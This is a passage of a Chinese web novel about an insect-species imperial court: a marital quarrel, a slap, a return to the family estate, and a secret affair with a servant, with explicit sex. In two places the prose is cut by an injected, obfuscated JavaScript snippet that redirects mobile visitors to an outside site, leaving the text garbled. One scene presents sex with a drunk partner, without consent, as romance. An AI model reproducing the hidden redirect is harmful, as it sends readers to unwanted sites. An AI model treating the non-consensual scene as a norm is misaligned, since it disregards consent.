他朝芬恩看了一眼,情绪冷淡,这才看向塞塔斯。 “陛下这么早过来干什么?” 塞塔斯从西服兜里摸出一个精致的盒子。 “送你。” 泽费里诺接过去,打开看了一眼,又冷静地给虫皇还回去了。 “这太贵重了,我不能收。” 塞塔斯让他收下,又放回他手里。 “这整个星际还有什么比你更珍贵的,不过一颗宝石罢了,就算它有价值,不配值得的瑰宝,又怎么能体现它的价值。” 芬恩一大早过来就吃了一嘴狗粮。 泽费里诺没有看他,而是看着手中的宝石。 “陛下,我说过了,离婚是迟早的事,不管您怎么想挽回这段感情,我都不会再犯傻了,艾维尔阁下很适合您。” 塞塔斯本来情绪很温和,可听到泽费里诺这句,脾气也是控制不住。 “快半个月了吧,我到底怎么做你才能原谅我,泽费里诺你告诉我,为什么别的雄虫可以三妻四妾,我作为虫皇却不可以?我都跟你保证过,不会再跟艾维尔军雌保持那种关系,也不会让他生我的孩子,你还有什么不满意的?” 泽费里诺唇角勾了一下,将精致的盒子合上,递给芬恩:“放到衣帽间。” 芬恩拿过盒子去了衣帽间,听塞塔斯的语气,好像要跟雌君干仗一样,芬恩的心紧张异常。 他听见泽费里诺说:“您这样拖着我能干什么,很多话我都不想说了,没什么意思。” 塞塔斯不依不饶:“我对你还不好吗?我跟你认错,你去打听打听,我塞塔斯这辈子跟谁认过错?我就对你这样过,你非要把我的脸面放在地上踩。” 泽费里诺不以为然:“陛下有这份心,我很感激,只可惜我是个眼里容不得沙子的雌虫,没法跟您的那些相好一样,接受一个感情不完整的丈夫。” 雌君要去洗手间,塞塔斯非要跟上,他警告虫皇:“我要上厕所,你也要跟着?” 塞塔斯一把拉住他的胳膊:“我每天过来这么早就是看你脸色来的?泽费里诺,你别不知好歹!” 芬恩从衣帽间出来,看着他对雌君动手动脚,有种莫名的怒气在胸腔里蔓延,他真的想打这个虫皇一顿。 然而他还没动手,虫皇却要对泽费里诺动手,塞塔斯拽着泽费里诺往卧室走:“跟我结婚了,却不让我碰,是我对你太仁慈了是吗?” 泽费里诺怒气渐盛:“放开。” 雌君挣脱虫皇的手,却换来虫皇暴怒的一巴掌。 芬恩也不知道自己在想什么,在那巴掌落在泽费里诺脸上时,突然冲了过去。 那一巴掌结实地打在了芬恩的脑袋上,他出现了严重的耳鸣,有些站不稳。 泽费里诺本来没想动手,可虫皇那一巴掌直接把小雄虫打晕了,怒不可遏的雌君,伸手照着虫皇那张脸蓄力狠狠地扇了过去。 一向面对虫皇冷静端庄的黑发雌虫,也不考虑后果了,咬着牙发狠:“我他妈给你脸了是吧?塞塔斯,一大早过来找茬,敢打我的侍从,跟我动手?你最好有十条命可以跟我对打。” 23. 第 23 章 从小到大,泽费里诺从未对这只竹马雄虫动过手,毕竟塞塔斯身为皇室雄虫,就算不得宠也是虫皇的儿子,一般的虫还真不敢对他怎么样。 在这个皇权至上的虫族,任何制度都是围绕着帝国皇室运转,那虫皇陛下的地位毋庸置疑。 在没看透塞塔斯之前,泽费里诺是这段感情里的下等虫,即使战功赫赫,身份尊贵,在这位虫皇面前永远都低了一等,那是基于他喜欢虫皇。 当他看透一切谎言背后的虚伪之后,那塞塔斯于他而言也不过是一只普通的雄虫。 作为一只精神力足够强大的雌虫,他哪能看不出来塞塔斯内心的矛盾和愤怒,也能预判他下一秒的动作,刚才那一巴掌他能躲过去。 塞塔斯也算准了他能躲开,可他没想到小雄虫会冲过来,这本该是他们夫夫之间的家庭矛盾,却把小雄虫牵扯了进来。 泽费里诺也不知道为什么,一股无名的怒火在心中升腾而起,他那力道可不小,打得虫皇直接往旁边一个趔趄。 既然打了,后悔也没用,泽费里诺一不做二不休,两脚将塞塔斯从自己的寝宫踹了出去。 虫皇从寝殿门口滚下了台阶,他显然没想到泽费里诺会真的动手,毕竟他知道那一巴掌泽费里诺能躲过去。 那现在是因为什么,是他打了那只亚雌? 不是亚雌自己冲上来的吗? 一大早帝后的寝宫里就热闹非凡,米安清点完亚雌还在半路,就有侍从来报,虫皇和帝后在寝宫里打起来了。 米安吓得三魂都飞了,一溜烟跑回帝后的寝宫,就看到虫皇刚从地上爬起来,脸上一个偌大的巴掌印,特别清晰。 泽费里诺穿着睡衣站在寝殿门口的台阶上,眼神沉冷阴婺,正在给虫皇放狠话:“你以为你是什么东西,你是靠什么才坐在这个位置?婚前千方百计利用我和我的家族,登上皇位,我为了你卸甲归家,兵符全部上交给你,为你这种东西窝在这毫无意义的后宫,可你是怎么对我的?” 塞塔斯不占理,所以他没有回答泽费里诺的问题,后槽牙都要咬碎了:“你竟然为了一只亚雌打我?那只亚雌和你有什么见不得光的勾当!” 泽费里诺冷笑,讥讽地看着他:“你刚才不是想跟我动手吗?我的亚雌帮我挡了一巴掌有什么不对?我养的亚雌护主啊,怎么,就准许你有两个心腹,不准我有一个体己的侍从?” 米安快吓死了,赶紧上前帮虫皇拍拍身上的土:“陛下息怒,雌君息怒,这事是我的过失,我忙着清点亚雌人数,没时间打扫卫生才让洛菲斯来,没想到惹出这种祸事!” 米安说完就跪了下去:“求陛下和帝后别伤了和气。” 泽费里诺并未把米安看在眼里,而是冷漠地看着塞塔斯:“真的,我没见过比你更虚伪的雄虫,塞塔斯,我敬你,重你,一切都以你为中心,你到头来和军雌乱搞,在我易感期的时候不闻不问,还在抑制剂里掺乱七八糟的东西,你别以为我不知道,这婚,离定了。” 泽费里诺没想这么早闹翻,毕竟他的兵权还没从塞塔斯手里收回来,现在跟他翻脸是不明智的事情。 他心里清楚得很,可就是没控制住自己,现在说什么都晚了。 走进大殿,芬恩也缓过来,泽费里诺看了他一眼,吩咐:“收拾东西,跟我回娘家。” 芬恩一愣,脑瓜子还嗡嗡地响,虫皇那一巴掌真结实,好在没打在雌君脸上。 芬恩应了声就从侧门出去回自己的房间收拾东西,塞塔斯怒气冲冲地又跟进来:“你想跟我离婚,除非我死,不然你这辈子都别想脱离我,泽费里诺,你打也打了,骂也骂了,我也知道自己错在哪里,我以后改行不行啊?” 芬恩听到了他们的对话,他心里犯怵地想,这虫皇怎么这样,都被老婆打了,还这么低声下气? 他不是虫皇吗?不是说皇权高于一切,不管哪个时代,被家暴了第一时间不该离婚吗? 塞塔斯又在上演哪出戏? 事实上塞塔斯不是不敢动手,而是打不过啊,是真的打不过。 虫皇的精神力虽然很强,和泽费里诺能匹配,可架不住他觉醒的是治愈系精神力,打起架来根本不是暴力型精神力的对手。 泽费里诺要是动用精神力,整个中央星系都得颤抖。 那可是名副其实的战争机器。 塞塔斯可聪明着呢,不肯放手也是因为这位雌君太强了,就算不爱,也得控制在自己手里。 芬恩是不懂的,他只想让泽费里诺快点脱离这牢笼,到时候他就可以光明正大地追求雌君了。 他是这样想的。 短暂的一辈子,好不容易遇到一个喜欢的人,不去争取一次,他会遗憾一辈子。 想来也可笑,泽费里诺对他强取豪夺在前,可先动心的却是他,他真没出息。 一边收拾衣服一边静静地听着寝殿的动静。 泽费里诺觉得这雄虫真贱:“我把你当回事的时候,你拿我的真心当垃圾,现在我不想跟你过了,你又反过来求我,塞塔斯,当虫皇就有点骨气,放过我之后,你这偌大的后宫,想娶多少雌虫都不会再有阻碍,我成全你了你还不乐意?” 塞塔斯的半张脸和腹部都痛得不行:“我错了,我跟你道歉了,你别抓着不放行不行?” 泽费里诺不耐烦地喊米安:“进来给我收拾行李,跪在那儿干什么?” 米安冷汗涔涔,大气不敢出地进了寝殿,去给雌君收拾行李。 塞塔斯还在威胁:“你敢走,我就杀了你宫中所有的亚雌!包括刚才那只!” 泽费里诺摊手:“你随便,与我何干?你想杀谁就杀谁,那是你的权利,我不干涉。” 塞塔斯:“……” 泽费里诺去寝殿卧室换衣服,啪地一声将门关上。 皇宫里一大早就闹出了笑话,传的可快了。 虫皇和帝后为了一只亚雌大打出手,谣言不请自来。 大家开始窃窃私语,说那只亚雌其实是给帝后暖床的,被虫皇发现了,要杀亚雌,但帝后护着不让杀。 自此洛菲斯这个名字也在皇宫里出名了,秽乱后宫可是重罪,一只亚雌怎么敢的? 最让大家无语的是,虫皇被打了一顿之后,竟然没问帝后的罪责,任由帝后收拾行李回了娘家。 而这位帝后走时只带了那只名叫洛菲斯的亚雌。 前脚还在幸灾乐祸的亚雌们,后脚听闻虫皇要杀他们出气,立马变乖了,一个个都想着怎么逃命。 泽费里诺才不在乎,他把芬恩带出宫去了,回了公爵府娘家。 平时没事的时候他不回家,一年回去聚一次算好的,只要他安稳待在皇宫里,家虫们也就放心。 这天早上他突然收拾行李回来,可给家里的高级虫们吓了一跳。 赫斯公爵是他的雄父,年过五十了,身形依旧板正高雅,丰神俊朗,身高超出了一米九,一张脸和泽费里诺有几分相似,一头乌黑的长发也很好地遗传给了这个儿子。 泽费里诺长得像他的雄父,不像他的雌父。 雌父埃里诺是棕色头发,长得也极其出挑,拟人形一米八几的大个子。 听到帝后回家,埃里诺急匆匆地从城堡里出来。 坐落在中央星系繁华地段的偌大城堡,占地足有几十万平米,比皇宫逊色不了多少,城堡里光佣虫都快上千。 没嫁给塞塔斯之前,泽费里诺的几个叔叔,都把持着帝国最重要的职位,也是他结婚后,虫皇怕有什么变故,就让几个叔叔都交了兵权,还是泽费里诺劝的。 就是这样一个大家族,将如今的虫皇扶上位。 这位强大的雌虫也曾为了爱情孤注一掷过,只可惜没得到回报。 他和虫皇的婚姻存在,那他的家族成员就会安心。 这也是他隐忍的原因,他笃定,目前塞塔斯还是不会有什么作为,定会来家里找他。 芬恩第一次见泽费里诺娘家的盛况,也终于知道他们之间的差距,换成地球时代,泽费里诺就是妥妥的身价千亿的官二代加富二代,而他只不过是来自民间的穷小子。 “……” 芬恩真给自己贫瘠的想象力穷笑了,在文明的地球时代,这样的阶级差距都无法缩减,更别说这个制度森严的星际虫族。 越是了解泽费里诺,他越觉得他们之间差的不止十万八千里。 他拎着自己和雌君的行李箱下了飞船,看到了雌君的父亲匆匆而来:“你怎么突然回来了?” 泽费里诺情绪冷静地回答:“跟虫皇闹矛盾了,回家躲几天。” 埃里诺一向疼爱这个儿子,拉着他的手往城堡方向走,压根没看到旁边的芬恩:“你跟他闹什么矛盾,惹急了大家都没好。” 泽费里诺平静地说:“他出轨军雌了,这日子过不下去了。” 埃里诺的脚步一顿:“你看见了?” 泽费里诺点头:“看见了,而且他也亲口承认,婚前说过专一的婚姻,压根不算数。” 埃里诺脸色不好看,拉着他继续走:“那不重要,儿子,我告诉你,只有你怀上正统皇族骨血,咱们就有筹码牵制他。” 泽费里诺摇头:“我觉得他太脏了。” 埃里诺叹口气:“你的雄父也有几个侧妻,雄虫都这样,哪有专一的感情呢。” 赫斯公爵不在家,但他的几个雌妻关系很好,家里虫丁兴旺,香火旺盛。 埃里诺是个合格的正妻,在别的公爵家都在为了名分和爵位谁继承的问题打的头破血流时,他已经靠着两个出息的儿子坐稳了主母的位置,侧妻所出的儿子女儿都没什么大作为,只有他生的三个都很有用。 赫斯公爵对这位雌妻也十分尊重,平时基本上都在埃里诺这里。 泽费里诺出生在这样一个家庭,却还希望感情专一,芬恩觉得这位雌君真的很有魅力。 哪怕世界的规则如此,他还是坚守本心,想寻得一份真挚的感情,知道自己想要什么,不随波逐流。 只可惜他找错了对象。 来自地球的芬恩,也秉持着这样的想法,想要拥有属于自己的真爱,只可惜,他的真爱不会爱他。 泽费里诺回家,整个家族都来围观,问这问那,芬恩发现这位雌君的兄弟姐妹众多,但各个都很敬爱泽费里诺。 他一回来,十几只小小高级虫们冲进来,叫着哥哥,泽费里诺应接不暇,除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521315|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此之外还有他的叔叔婶婶们。 加西亚城堡里热闹非凡,长辈们都在劝泽费里诺看开点,怀上正统皇嗣才是正事,其它的事情不重要。 赫斯公爵听闻虫皇和帝后闹矛盾,也提前回了家。 这位一家之主,威严沉冷,不怒自威,往那里一坐,就镇得兄弟小辈不敢乱说。 但有一点他肯定了:“塞塔斯出不出轨都是小事,皇嗣才是大事,他没有孩子,要是被其他雌虫怀上皇嗣,那我们家族就危险了。” 泽费里诺没回答,只是叫了一只佣虫,吩咐他把芬恩带到自己的卧室去放行李,顺便找一间房给芬恩住。 回到家之后,自然有佣虫负责侍奉伺候,芬恩倒是闲了下来,他躲在房间里,站在窗前看着偌大的城堡庄园,下面虫来虫往,连佣虫都是高级拟人虫,没有一个带翅膀。 身后的翅膀和口中的口器让芬恩自卑,他便再没出去。 他是透明的,在这些高级虫眼里他不过就是帝后带出来的亚雌,没有一只高级虫把注意力放在他身上。 就这样待到了中午,竟然有佣虫来给他送餐,是只拟女性的雌虫,她看了芬恩好几眼:“帝后吩咐给你准备午餐,希望能符合你的口味。” 芬恩的心稍微暖了暖:“谢谢,闻起来很香。” 棕发女性雌虫脸色微红,不敢看他,递给他餐盘,转身娇羞离开。 芬恩以为这一天都不会再见泽费里诺,可是下午一点左右,他的房门被推开。 泽费里诺走了进来,他四下打量一番,自然地靠在了芬恩的床头:“看到了吧,我的家族太庞大,大家都仰仗着我,你现在知道我为什么不能跟虫皇离婚。” 芬恩坐在床沿:“那雌君,会和虫皇和好吗?” 泽费里诺也无奈:“我要是怀上正统皇嗣,就有牵制塞塔斯的筹码,以后就算我篡位,也算师出有名。” 芬恩的心像是有点裂了:“那我呢?” 泽费里诺情绪淡淡地睨着他:“你,无名无分,身份低微,于我有什么大的作用?” 芬恩的心终于裂开了,他胸膛起伏,深呼吸:“那为什么不放我走?” 泽费里诺一把将他拉过去,一手捧住雄虫的脸颊,望进湖泊蓝的眼底:“我也不知道我在想什么,或许是因为寂寞。” 芬恩不肯让他碰了,泽费里诺却不放开他:“挣扎什么?你的命在我手里,抱你一下都不行了?” 芬恩感觉自己挺痛苦的,越来越没有希望:“可是你知不知道,你越是这样对我,越让我放不下,既然对我没有感情,为什么今天出来却要带我?不如让我留在皇宫被虫皇杀了得了。” 泽费里诺好看的指尖拂过他发红的眼尾:“对啊,所以我觉得很奇怪,明明把你杀了,我对虫皇不忠的证据就销毁了,我再洗去孕腔标记,不用提心吊胆。” 芬恩的喉咙有些刺痛:“那为什么还不动手,你杀死我就像杀死蚂蚁一样简单。” 泽费里诺低眼看着他颤抖的薄唇,和被泪水氤湿的睫毛:“蚂蚁可不好杀,十五岁那年去荒星边境杀的就是蚂蚁族群,他们繁衍非常快,占据了整个荒星,我找了足足一个月才找到了蚁后那个生产机器。” 芬恩:“……” 泽费里诺太喜欢看雄虫这幅破碎的样子:“我错付了一次,不再天真地期待爱情,却没想到你这只最不该期待爱情的雄虫却期待我的感情,你也看到了,我的雄父有多少侧妻,雄虫就是这样的,左拥右抱,你不用开口,只要你是雄虫,就会有无数雌虫爱你。” 芬恩的眼尾红透,到底年纪小,把爱情当饭吃:“可我就想让你爱我,我就想要你的爱,我知道我给不了你什么,你什么都不缺,但我可以为你去死。” 泽费里诺一颗冰冷的心好像有了松动,他注视着雄虫委屈的眼眸半天,闭上眼睛凑上去亲了芬恩的眼睑。 眼泪好咸。 “我都不知道该怎么对你,你总是让我心中有一处地方变得柔软。” 芬恩仰头,想触碰雌虫形状美好的唇瓣。 “雌君,吻我好不好?我今天真的很害怕,害怕你把我丢下。” 泽费里诺的薄唇擦着他的鼻梁往唇瓣亲去。 “怕什么,只要我不死,没虫敢欺负你,塞塔斯也不行。” 芬恩像得到救赎的囚徒,张嘴接住雌虫的唇瓣,轻轻吮住。 他真的时时刻刻都想和泽费里诺待在一起。 “今晚我想跟你一起睡觉,可以吗?我等级低,不会让你怀孕,你为什么不肯要我的尾勾了?” 芬恩的尾勾绕过腰侧,缠住泽费里诺的手臂。 “你摸摸它,它比我更想你,它思念雌君的孕腔,就像我思念你一样。” 泽费里诺深吸一口气,下唇被雄虫咬着,他一只手摸向和他手臂差不多的尾勾。 “你真是虫神恩赐于我的宝藏,有尾勾却没有生育能力,让我寂寞的身心得到抚慰。” 雄虫的吻慢慢加深,泽费里诺十分享受。 “什么狗屁塞塔斯,不如你乖巧,也不如你忠诚,这么可爱的雄虫,肯定要给奖励,今晚半夜来找我,让你当一回我的丈夫,满足你的愿望。” 24. 第 24 章 芬恩感觉自己等不到晚上了,公爵府到处都很热闹,为了迎接帝后的到来,晚上府里大摆宴席,很久没有这么隆重的仪式感,整个城堡里的虫都在忙碌,不过雄虫还是过于稀少,大多数都是雌虫。 这是虫族的现状,雄虫由于数量少,所以享受很多特权,大多数雌虫找不到雄虫婚配,就会寻找低等雄虫或者亚雄。 多雌侍奉一雄的现象比比皆是。 晚宴开始的时候,公爵府的宴会厅已经坐满了一个大家族的高级虫,泽费里诺和家属们坐在一起,大家的话题都围绕着他而展开。 芬恩和城堡里的佣虫们坐在一起,大家都只当他是泽费里诺带出来的亚雌,不过还是被他的美貌震惊。 一群拟人雌虫坐在一起,有女性有男性,都没有翅膀和口器,唯独芬恩就像这里面的异类,翅膀昭示着他的等级有多低。 不过他是帝后从宫里带出来的,大家自然心里了然,芬恩虽是亚雌,但很受帝后的重视,整个加西亚家族都受到泽费里诺的庇护,所以对于帝后的亚雌侍从,大家也很友好。 他们热情地给芬恩夹菜,让他多吃点,各个都很八卦帝后和虫皇发生了什么,芬恩觉得有点难为情了。 这让他怎么开口,他要说出皇室的丑闻,还是要说出他和帝后的“奸情”。 当然哪一个都不能说,只说夫夫俩闹了点小矛盾,没什么大事,过两天就和好了。 是吧,他俩始终要和好的,虫皇不会放开泽费里诺,而泽费里诺目前也不会和虫皇真的翻脸。 不过是夫夫之间的小打小闹,他也不过是泽费里诺长久一辈中的短暂插曲。 宴会厅足有两层楼,送餐的都是机器虫,光帝后家族的主子拟人虫,都坐满了一整层。 如果之前芬恩还有非分之想,那这次跟着帝后来了一趟之后,他心里反而平静了下来,不再那样焦虑。 他也不想再去强求这份感情,心里做好了打算,在泽费里诺需要他的时候,他尽职尽责做好一只雄虫该做的事情,等不被需要了之后,他就默默地离开。 心里打算第二次放弃了,能偷得一时是一时,等偷不了的那时候,他就平静地接受自己的命运。 大家都在谈论关于虫皇和帝后的子嗣问题,几只佣虫好奇地问芬恩:“虫皇还没准备和帝后备孕生出小储君吗?我们都在等帝后的好消息,可一直没有动静。” 有雌虫附和:“是啊,只有帝后怀上皇嗣,我们才能长久安稳下去,也不知道怎么回事,结婚两年了,帝后的肚子一直没动静。” 芬恩笑了笑:“这事不能着急,有的时候就会有了,他俩感情好的话,帝后怀孕是迟早的事。” 夫夫俩感情都不和,怎么怀皇嗣,那渣虫已经把自己的皇嗣给另外一只军雌了。 不过看他近月的表现,似乎真有和泽费里诺和好的迹象,那未来帝后会不会怀上皇嗣也不一定。 芬恩的心闷闷的,却也不会那么疼了,本就是板上钉钉的事情,虫皇和帝后是夫夫,他俩要孩子不是天经地义的事情吗? 他又无法左右这件事,只能边走边看。 原本挺期待夜晚的到来,可当和一群雌虫吃了顿饭,聊起了虫皇和帝后要孩子的事情之后,芬恩反而冷静了下来。 越是渴望,就会一直错下去,他想把自己拉回属于自己的正轨,所以这天晚上他没有去找泽费里诺。 他闲着也是闲着,宴席散了之后,帮助那些雌虫哥哥姐姐们收拾餐具,打扫房间,忙完已经快晚上十点了,公爵府里依旧灯火通明,负责伺候泽费里诺的是他从小的奶娘雌虫。 芬恩回自己的房间时,年长的雌虫阿姨刚从泽费里诺的房间离开,他和雌君住在同一楼。 看到他回来,雌虫阿姨礼貌问好,并且告诉他:“雌君喝的有点多,他让你去侍奉,看得出来你很得我家雌君的青睐,往年跟他回来的是亚雌米安,我们大家都认识他,你是第一次来家里。” 芬恩恭敬颔首:“是的,我今年才开始侍奉雌君。” 雌虫阿姨点了头:“那就麻烦阁下看着点,照顾好他,他很少喝这么多酒,大概是心情不好。” 芬恩在心里泄气,应下雌虫的嘱咐:“好,我去照顾他。” 芬恩回房洗了个澡,换了身干净的睡衣,这才去找泽费里诺。 他住在三楼最大的套房里,里面的陈设和帝后寝宫没什么两样,都挂满各种名画,基调比较简单冷淡。 泽费里诺躺在卧室的床上,颧骨泛红,白皙的皮肤显得有些粉,身上的西服都没脱。 衣服是出宫时刚换的干净衣服,也没出什么汗,倒不用脱了。 芬恩熟练地去洗手间拧了毛巾,出来给泽费里诺擦洗,刚触碰到雌虫的皮肤,手腕就被一把抓住了。 强大的雌虫,力道险些把他的手腕掰断,芬恩嘶了一声之后,他才缓慢睁开一双清眸,看清楚是谁时,他放开了芬恩。 “是你啊,我以为是谁呢,这才几点你就来了,被发现就完了……” “是年长的雌虫阿姨让我来照顾你,说你喝醉了。” 泽费里诺的眉头拧了拧,难得娇憨。 “哦,我忘了,是我让她找你来,今天晚宴的时候没看见你,有点在意你去了哪里。” 芬恩的心又失控地跳了几下,他弯腰看着雌虫又合上的双眼。 “你还会在意我吗?是因为什么才在意?” 芬恩拿着毛巾的手停在雌君的抑制环上,看着雌虫美丽修长的脖颈泛着粉,当真就对他没有一点防备吗? 喝成这个样子,还敢让他这只雄虫来侍奉? 泽费里诺到底是清醒的还是糊涂的? 芬恩总是轻易被他勾起心里的邪火。 但手指触碰到抑制环的锁扣后,他还是控制住了。 泽费里诺翻个身抱住了他的胳膊,薄唇嗫嚅。 “不知道为什么在意,就是想知道你在哪里。” 芬恩的心又开始如同湖水一般波动,慢慢地被雌虫激起了波涛骇浪。 看着泽费里诺浓密的的黑色睫毛一颤一颤,终于还是忍不住去亲了他的眼睛。 泽费里诺没有动,但他并没有睡着,所以他知道芬恩在干什么。 雄虫的唇从眼睛到鼻梁,再到鼻尖,继而落在了他的唇上。 雌虫依旧没动,黑色长发落在脸颊些许,芬恩将长发拨走,像品尝美味一样品尝雌虫的唇瓣。 泽费里诺眼睛没睁开,却是张了嘴,无声的邀请又一次让芬恩破功。 他的呼吸变得有些着急:“你知道吗,今天的晚宴上,所有的高级佣虫们都在问你和虫皇什么时候要孩子,大家都很期待你和虫皇的皇嗣出生。” 芬恩伸手摸向雌虫的腹:“可他们不知道,如果我等级高一点,你这里该怀我的虫宝,虫皇从未到达过你的孕腔,只有我。” 芬恩有点失控地掠夺雌虫的口腔:“只有我到达过,可为什么你不是我的?你告诉我,我该怎么做,才能得到你?” 泽费里诺不语,依旧闭着眼,一向主宰其他虫的雌君,难得这么乖顺任由雄虫肆虐他的口腔,却配合地缠绕舌尖。 芬恩内心的爱又开始汹涌,他放下毛巾,俯身下去放肆深吻:“我真的不想做你一时的抚慰品,我想做你一辈子的丈夫,我不想让任何雄虫再侵占你的孕腔,你是我的,泽费里诺。” 雌君真的喝醉了,竟是一句都没反驳,任由雄虫为所欲为,除了虫皇谁也靠近不了的帝国瑰宝,却被他一只低级雄虫这样,芬恩舔掉雌君唇角被他吻出的口水。 他不管了,哪怕明天要去死,今晚也得睡了泽费里诺。 从易感期开始,他就想这雌虫想到发疯。 公爵府虫灯没录入他的指令,他起身去反锁房门,关了虫灯,继续回到床上,将泽费里诺从床上捞起来,抱在怀里。 “虽然趁人之危不道德,可你答应我今晚让我做你的丈夫,我就不问你同不同意了。” 这是一场完全由芬恩主宰的合尾,泽费里诺也不知道清醒还是不清醒,反正整个过程,他都任由雄虫摆布。 芬恩想用人类的方式很久了,所以这次他没有用尾勾,而是用的人类部分。 他本来想试试行不行,没想到还真可以,只不过这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你小子占够了便宜,总想得寸进尺。” “说好今晚让我当老公,一句好听的都不说。” “那么喜欢听情话,去找别的雌虫。” 芬恩更郁闷,双手摁住雌虫的细腰。 狠狠往尾勾上摁。 雌虫吃痛地伏在了他怀里。 “洛菲斯,你找死。” 芬恩嗯一声。 “我就找死,雌君不如弄死我,不然我总想要名分。” “……” 芬恩的小脾气还是把雌虫惹生气了,雌虫不肯了,试着从他尾勾上离开。 芬恩双臂紧紧抱着他不让他离开。 “脾气真大,这个时候还能冷静地离开我,泽费里诺,你的心是石头吗?” “……” “别走,我不说了,在一起的日子本来就短暂,还要置气,我没时间跟你置气。” “那你别往死里搅。” “好,你是老大,我听你的。” 雌虫又安静下来,趴在了他怀里。 芬恩太喜欢这种被泽费里诺层层叠叠绞着的感觉。 “以后你和虫皇这样的时候,肯定会想起我吧?那以后你俩有孩子了,就当也有我的功劳吧。” 泽费里诺一把捂住他的嘴,不让他说了。 “之前怎么没发现你这么话多呢?” 芬恩把他的手使劲拿开。 “我就要说,我在你这里得不到名分,也无法和你有个孩子,那不管以后你生谁的孩子,都有我的份。” “……” 芬恩尽数浇灌雌虫的孕腔。 “我比任何一只雄虫都早到这里。” 他感觉雌虫的腹隆起来。 雄虫的自自尊心被满足了,芬恩的手摸着雌虫鼓囊囊的肚皮,能感觉到雌虫的腹肌纹理。 “都是我的形状,肚子这么圆,我就当你为我怀过孕了。” 25. 第 25 章 芬恩留宿在帝后的房间,帝后醉酒有些疲惫,由芬恩完成各种善后事宜,连洗澡都是芬恩抱着去的。 泽费里诺看起来高高大大,其实精瘦,除了骨头好像也没多少肉,这是他常年锻炼形成的结果。 全身上下,只有腹肌那一块有些隆起,那是芬恩灌溉的结果。 自从和他发生关系以来,芬恩根本没见过这位帝后事后怎么样,他的尾勾并不细,还经常想,雌虫这么厉害,然而有偏差。 肿的厉害,也就是说第一次的时候其实更严重,但这位帝后一向端庄冷淡,从不会提及这种事罢了。 芬恩心疼起来,果然谁的老婆谁在意,虽然泽费里诺不把他当老公,但他始终在心里把这位雌君当成唯一的雌妻。 或许以后离开泽费里诺,他还会遇到心仪的雌虫,但不会有任何雌虫比这位帝国的帝后更让他刻骨铭心。 给雌虫洗完澡,芬恩又把他抱回床榻坐着,找到机器吹风机吹头发,整个过程泽费里诺似醒非醒,闭着眼睛。 雌虫的黑发很长,在这个虫族,头发是拟人后与生俱来的装饰物,大家以长发为美,父母也不准虫儿们剪掉长发,也只有犯罪了的虫才会被强行剪掉长发,待在监狱里。 平时泽费里诺洗完澡,长发用精神力烘干,只是几秒钟的事情,如今芬恩给他吹头发,却是费了半个小时。 头发终于干了之后,芬恩才让他枕在枕头上,扯来被子盖上,他收拾了浴室,出来犹豫片刻后,没有回他的房间,而是关了灯,去抱着雌虫入睡。 泽费里诺醉酒后也不胡闹,很安静,芬恩抱着他,只觉得难得的踏实。 这里不是皇宫,这种时刻或许是他和这位雌君难得平静同榻而眠的机会,芬恩便十分珍惜,好像泽费里诺在他怀里,整个世界便在他怀里。 一夜相拥,泽费里诺起得早,感觉身边拥挤,一睁眼才发现小雄虫昨夜没有离开,他侧着身子在小雄虫怀里,抬眼就看到雄虫的喉结。 他没有出声,又闭上了眼睛,也没有早起,他不起床,也没有虫会来打扰他的睡眠。 泽费里诺可以赖床,但芬恩不可以,他原本就是作为亚雌跟着来的,不能让公爵府的高级虫诟病。 所以到了他的起床点后他就醒了,醒来时泽费里诺还在睡,他轻轻地起身,把雌君挪回枕头上,这才下了床。 刚穿好鞋子,泽费里诺也醒了,声音带着早起的慵懒和惺忪:“胆子不小,敢在我的房间留宿。” 芬恩回头看他:“雌君醉酒,总得有人照顾,万一半夜有什么事,那就是我的罪过。” 泽费里诺:“……”呵,他的小雄虫倒是越来越伶牙俐齿了,这种拙劣的理由也能编出来。 泽费里诺坐起来:“侍奉我洗漱吧。” 芬恩哦了声:“好。” 虽然认识没多久,可芬恩却觉得和这位雌君已经相识很长时间,他已经习惯伺候泽费里诺,并且把雌君的喜好都已经查探清楚。 他是聪明且细心的,知道泽费里诺喜欢什么,不喜欢什么,就连侍奉洗漱,他都小心翼翼。 他很喜欢给雌虫梳头发,那头发柔软如绸缎,光泽黑亮,说明雌虫的身体状况很好。 坐在梳妆台前,泽费里诺看着镜子里熟练给他挽发的芬恩:“你的银发很漂亮。” 芬恩其实并不喜欢自己的头发,他喜欢泽费里诺的:“你喜欢吗?是因为虫皇的头发也是银色的吗?” 泽费里诺:“……” 他没有回答芬恩的话,而是漫不经心地提醒:“头发很重要,虫族的头发长得很慢,有的拟人虫一辈子都长不了,以后不可乱剪,在虫族,剪头发也会犯罪的,你见过哪只拟人虫把自己的长发剪短了?” 芬恩表示记下了:“以后不会剪了。” 泽费里诺捉了一缕他的银发缠绕在指间:“我从小就很喜欢银发,喜欢塞塔斯也是刚开始喜欢他的银发。” 芬恩挽好他的半扎发髻:“那我呢,你不喜欢我,而是把我当成虫皇的替身吗?” 泽费里诺没有反驳也没有回答,起身换衣服:“出去走走,你要是不想去,可以去休息。” 芬恩手里拿着梳子站在那里,看着雌虫散落一背长发的身影:“我连替身都不算,对吗?” 他哪里算得上替身,虫皇至高无上,换成谁都想攀附,而他不过是小小的低等雄虫罢了。 芬恩觉得自己想要个答案的样子有点可笑。 虫皇一大早就来了,泽费里诺刚要出门,就有佣虫来报:“帝后,虫皇来了,正在和公爵在一楼会客厅喝茶,公爵府所有的在职官员都去陪同。” 泽费里诺一听,停止了出门的举动:“就说我不见。” 佣虫沉默片刻,应了声“是”之后走了。 泽费里诺又坐回沙发上,脸色阴沉,显然不想听到虫皇的名字。 